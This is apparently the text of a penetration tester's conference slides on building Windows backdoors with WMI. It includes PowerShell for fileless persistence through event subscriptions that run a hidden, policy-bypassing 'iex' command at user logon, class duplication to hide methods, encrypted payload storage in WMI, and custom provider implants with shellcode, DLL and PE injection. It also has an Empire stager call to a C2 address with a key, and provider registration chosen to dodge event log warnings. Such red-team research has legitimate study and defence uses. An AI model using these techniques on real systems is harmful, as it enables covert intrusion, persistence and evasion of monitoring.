BUILD BETTER BACKDOORS WITH WMI

BUILDING BETTER BACKDOORS
WITH WMI

2 Confidential & Proprietary
WHO AM I
 Alexander Polce Leary
 Senior Network & Application Pentester at NetSPI
 Twitter: 0xbadjuju
 KeyBase: 0xbadjuju
 Blogs: https://blog.netspi.com/author/aleary/
 Code: https://github.com/0xbadjuju/

OUTLINE
1. WMI Overview
2. Fileless Backdoors
3. WMI for Storage
4. WMI Providers
5. Installing WMI Providers
https://github.com/0xbadjuju/PowerProvider
https://github.com/0xbadjuju/WheresMyImplant

WHAT IS WMI?
 Windows Management Instrumentation
 Present since Windows 95
 It shows
 Probably familiar with some WMI functions
 Win32_Process -> Create()
 wmic.exe process call create …
 Invoke-WmiMethod –class win32_process –name create –argumentlist …

WMI OVERVIEW
 WMI
 Namespace
 Class
 Property
 Static || Dynamic
 Method
 WQL
 SELECT * from class;
 SQL Server
 Database
 Table
 Row
 Static
 Stored Procedure
 SQL
 SELECT * FROM table;

6 Confidential & Proprietary6 Confidential & Proprietary
FILELESS BACKDOORS
INVOKE-WMIDUPLICATECLASS

WMI CLASS INHERITANCE
 WMI has a robust implementation of class inheritance
 CIM_ManagedSystemElement
 CIM_LogicalElement
 CIM_Process
 Win32_Process
 ???

DUPLICATING A WMI CLASS
$NewManagementClass = $ManagementClass.Derive($DerivedClassName)
$NewManagementClass.put()
$NewManagementClass = $ManagementClass.Clone($ClonedClassName)
$NewManagementClass.put()
https://twitter.com/mattifestation/status/907702749193633792

HIDING WMI METHODS
Invoke-WMIDuplicateClass
-TargetClassName Win32_Process
-DuplicateClassName Win32_Create
-ComputerName $ComputerName
-Credential $Credential

Binding
WMI FILELESS BACKDOORS
 EventFilter
 __EventFilter
 Consumers
 ComandLineEventConsumer
 ActiveScriptEventConsumer
 Binding
 __FilterToConsumberBinding
 Well Known and Documented Technique
 https://github.com/Sw4mpf0x/PowerLurk
 https://blog.netspi.com/
Event Filter
(Trigger)
Consumer
(Action)

EVENT FILTER + CONSUMER EXAMPLE
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/cimv2'
Name = “NetSPI Event Filter”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL’
};
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{
Name = “NetSPI Event Consumer”
CommandLineTemplate = “powershell.exe –NoP –NonI –W Hidden –Exec Bypass –Command “iex…”
};
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
};

INVOKE-WMIDUPLICATECLASS
Invoke-WMIDuplicateClass -TargetClassName CommandLineEventConsumer -DuplicateClassName DerivedEventConsumer -NameSpace
ROOTSubscription ComputerName $ComputerName -Credential $Credential –Verbose
$Filter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments @{
EventNamespace = 'rootcimv2'
Name = “NetSPI Event Filter”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL’
};
$Consumer = Set-WmiInstance -Namespace rootsubscription -Class DerivedEventConsumer -Arguments @{
Name = “NetSPI Event Consumer”
CommandLineTemplate = “powershell.exe –NoP –NonI –W Hidden –Exec Bypass –Command “iex…”
};
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
};

WMI FOR STORAGE
INVOKE-WMIFS

INVOKE-WMIFS
1. Create a WMI class to store file in
 New-WMIFSClass
2. Read in file and base64 encode and encrypt
 ConvertTo-Base64 & ConvertTo-EncryptedText
3. Slice the base64 encoded string and insert into WMI
 Invoke-InsertFileThreaded
4. Retrieve the file and reassemble
 Invoke-RetrieveFile
5. Base64, decrypt file, and optionally write to disk
 ConvertFrom-Base64 & ConvertFrom-EncryptedText
Wrapped into Invoke-WMIUpload & Invoke-WMIRemoteExtract

WMI PROVIDERS
WHERESMYIMPLANT

WMI PROVIDERS
 These are the DLL’s behind the scenes that do all the work
 Host the methods and properties that we call
 cimwin32.dll
 What about building our own provider?
 Build the provider
 Register the provider
 Access the provider

HOW TO CREATE A PROVIDER
 WmiPrvSe.exe can host the Common Language Runtime (CLR)
 Opens up .Net for use in WMI
 Add a few decorators to a class and your done
 [ManagementEntity]
 [ManagementTask]
https://gist.github.com/0xbadjuju/550fb602a8b7aa610436d533c94a1885

BASIC BACKDOOR
 Command Execution
 ShellCode Runner
 Dll Injector
 PE Injector
https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider
https://github.com/subTee/EvilWMIProvider

BASIC WMI BACKDOOR

BETTER WMI BACKDOOR
 Store Payload as Base64 Encoded String in WMI, and then inject the payload
 ShellCode Runner
 Dll Injector
 PE Injector

BETTER WMI BACKDOOR

WMI EMBEDDED EMPIRE?
Embedded Empire Stager? Why not?
$language = “powershell”
$server = “http://192.168.255.100:80”
$key = “q|Q]KAe!{Z[:Tj<s26;zd9m7-_DMi3,5”
Invoke-WmiMethod –Class Win32_Implant –Name Empire –ArguementList $language,$server,$key

EMPIRE – POWERSHELL AGENT

WMI EMBEDDED EMPIRE?
Embedded Empire Agent? Why not?
$language = “dotnet”
$server = “http://192.168.255.100:80”
$key = “q|Q]KAe!{Z[:Tj<s26;zd9m7-_DMi3,5”
Invoke-WmiMethod –Class Win32_Implant –Name Empire –ArguementList $language,$server,$key

EMPIRE - .NET AGENT

REGISTERING WMI PROVIDERS
INSTALL-WMIPROVIDER

INSTALLUTIL.EXE
PS C:> InstallUtil.exe assembly.dll
PS C:> InstallUtil.exe /u assembly.dll
In the Windows Event Log this triggers a warning.

.NET MANAGEDINSTALLERCLASS
PS C:> [System.Configuration.Install.ManagedInstallerClass]::InstallHelper(
@( "C:assembly.dll")
)
PS C:> [System.Configuration.Install.ManagedInstallerClass]::InstallHelper(
@(“/u”, "C:assembly.dll")
)
The PS version and .net assembly version need to match.
In the Windows Event Log this also triggers a warning.

MANUAL REGISTRATION
 What if we were to register the WMI Provider purely through WMI calls
 This does not come close to fitting on a slide
1. Create the WMI_extension Class
2. Create an instance of WMI_extension for the Win32_Implant Class
3. Create an instance of __InstanceProviderRegistration for WMI_extension
4. Create an instance of __MethodProviderRegistration for WMI_extension
5. Create the Win32_Implant Class
6. Register WMI_extension in HKCR and HKLM

MANUAL REGISTRATION
That looks hard

MANUAL REGISTRATION
It was

MANUAL REGISTRATION
Why would I want to do that?
 Manually registering a WMI provider allows us to bypass calling any executables on the remote
system
 Remember those pesky Windows Event Logs warnings?
 Those are caused by the default hosting model LocalSystemHost
 There are many, many others to choose from.
 Win32_Process -> Create() uses NetworkServiceHost
 Wanna guess that that HostingModel doesn’t do?

MANUAL REGISTRATION
Install-WMIProviderExtension
-ComputerName $ComputerName
-Credential $Credential
-RemoteLibraryLocation C:WindowsSystem32wbemWheresMyImplant.dll
-ProviderDisplayName Win32_Implant
-HostingModel NetworkServiceHost:CLR

Questions?

BUILD BETTER BACKDOORS WITH WMI

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